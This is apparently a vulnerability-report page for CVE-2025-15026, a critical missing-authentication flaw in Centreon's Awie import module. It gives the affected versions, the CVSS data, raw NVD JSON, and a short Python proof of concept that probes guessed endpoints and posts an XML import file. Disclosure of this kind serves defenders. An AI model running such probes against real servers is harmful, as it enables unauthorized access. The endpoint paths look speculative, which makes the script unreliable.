Security Vulnerability Report
中文
CVE-2025-15026 CVSS 9.8 CRITICAL

CVE-2025-15026

Published: 2026-01-05 15:15:44
Last Modified: 2026-01-26 15:30:46
Source: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

Description

Missing Authentication for Critical Function vulnerability in Centreon Infra Monitoring centreon-awie (Awie import module) allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Infra Monitoring: from 25.10.0 before 25.10.2, from 24.10.0 before 24.10.3, from 24.04.0 before 24.04.3.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:centreon:awie:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:awie:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:awie:*:*:*:*:*:*:*:* - VULNERABLE
Centreon 25.10.0 < 25.10.2
Centreon 24.10.0 < 24.10.3
Centreon 24.04.0 < 24.04.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-15026 PoC - Centreon Awie Unauthenticated Access # Target: Centreon <= 25.10.1, <= 24.10.2, <= 24.04.2 import requests import sys TARGET = "http://target-centreon.com" def check_awie_access(): """Check if Awie module is accessible without authentication""" endpoints = [ f"{TARGET}/centreon/api/index.php?action=awie_import", f"{TARGET}/centreon/api/awie/import", f"{TARGET}/centreon/main.php?p=60401", ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False def exploit_awie_import(): """Exploit the unauthenticated import functionality""" upload_url = f"{TARGET}/centreon/api/index.php?action=awie_import" files = { 'file': ('malicious_config.xml', '<?xml version="1.0"?><config><!-- malicious data --></config>', 'application/xml') } try: response = requests.post(upload_url, files=files, timeout=10, verify=False) if response.status_code in [200, 201]: print("[+] File import successful - vulnerability confirmed!") return True except requests.RequestException as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": print("CVE-2025-15026 Centreon Awie Unauthenticated Access PoC") print("=" * 60) if check_awie_access(): print("\n[*] Attempting exploitation...") exploit_awie_import()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15026", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2026-01-05T15:15:44.177", "lastModified": "2026-01-26T15:30:46.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authentication for Critical Function vulnerability in Centreon Infra Monitoring centreon-awie (Awie import module) allows Accessing Functionality Not Properly Constrained by ACLs.\n\nThis issue affects Infra Monitoring: from 25.10.0 before 25.10.2, from 24.10.0 before 24.10.3, from 24.04.0 before 24.04.3."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:awie:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.3", "matchCriteriaId": "6C79E858-3E29-4916-9516-E1B7E3EF62B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:awie:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.3", "matchCriteriaId": "9F2DA74C-7DB5-47F3-A8E8-7F55E4C73B7B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:awie:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.10.0", "versionEndExcluding": "25.10.2", "matchCriteriaId": "79268CBB-6F6E-45DF-89AA-0D47A201D600"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-15026-centreon-awie-critical-severity-5357", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Patch", "Vendor Advisory"]}]}}